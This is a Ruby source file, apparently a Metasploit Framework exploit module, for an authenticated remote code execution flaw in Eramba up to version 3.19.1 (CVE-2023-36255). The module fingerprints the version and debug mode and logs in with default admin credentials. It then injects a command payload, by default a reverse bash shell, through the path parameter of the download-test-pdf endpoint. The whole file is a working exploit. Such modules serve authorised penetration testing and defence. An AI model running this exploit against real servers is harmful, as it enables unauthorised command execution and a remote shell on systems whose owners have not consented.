adfoster-r7
134 lines
4.2 KiB
Ruby
134 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Eramba (up to 3.19.1) Authenticated Remote Code Execution Module',
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'Description' => %q{
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This module exploits a remote code execution vulnerability in Eramba.
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An authenticated user can execute arbitrary commands on the server by
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exploiting the path parameter in the download-test-pdf endpoint.
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Eramba debug mode has to be enabled.
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},
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'Author' => [
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'Trovent Security GmbH',
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'Sergey Makarov', # vulnerability discovery and exploit
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'Stefan Pietsch', # CVE and Advisory
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'Niklas Rubel', # MSF module
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'msutovsky-r7' # MSF module
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],
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'License' => MSF_LICENSE,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => []
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},
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'Targets' => [
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[
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'Command',
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{
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'Platform' => ['unix', 'linux'],
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'Arch' => ARCH_CMD,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_bash'
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}
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}
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],
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],
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'DefaultTarget' => 0,
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'References' => [
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['CVE', '2023-36255'],
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['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt']
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],
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'DisclosureDate' => '2023-08-01',
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'DefaultOptions' => {
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'RPORT' => 8443,
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'SSL' => true
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']),
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OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']),
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OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']),
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]
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)
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end
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def check
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/login')
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})
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return Exploit::CheckCode::Unknown('Could not determine the target status') unless res&.code == 200
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html_body = res.get_html_document
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version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text
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return Exploit::CheckCode::Unknown('Could not determine the target status') unless version_html
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return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]')
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version = Rex::Version.new(version_html)
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return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1')
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return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.")
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end
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def exploit
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/login'),
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'keep_cookies' => true
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})
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html_body = res.get_html_document
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csrf_token = html_body.at('input[@name="_csrfToken"]')
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token_fields = html_body.at('input[@name="_Token[fields]"]')
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token_unlocked = html_body.at('input[@name="_Token[unlocked]"]')
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token_debug = html_body.at('input[@name="_Token[debug]"]')
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fail_with(Failure::UnexpectedReply, 'Couldn\'t parse tokens') unless token_fields && token_unlocked && token_debug && csrf_token
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res = send_request_cgi!({
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'method' => 'POST',
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'uri' => normalize_uri('/login'),
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'keep_cookies' => true,
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'vars_post' => {
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'_csrfToken' => csrf_token['value'],
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'login' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'_Token[fields]' => token_fields['value'],
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'_Token[unlocked]' => token_unlocked['value'],
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'_Token[debug]' => token_debug['value']
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}
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})
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fail_with(Failure::UnexpectedReply, 'Failed to login') unless res&.code == 200 && res.body.include?('Landing Dashboard')
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send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/settings/download-test-pdf'),
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'vars_get' =>
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{
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'path' => payload.encoded.to_s
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}
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})
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end
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end
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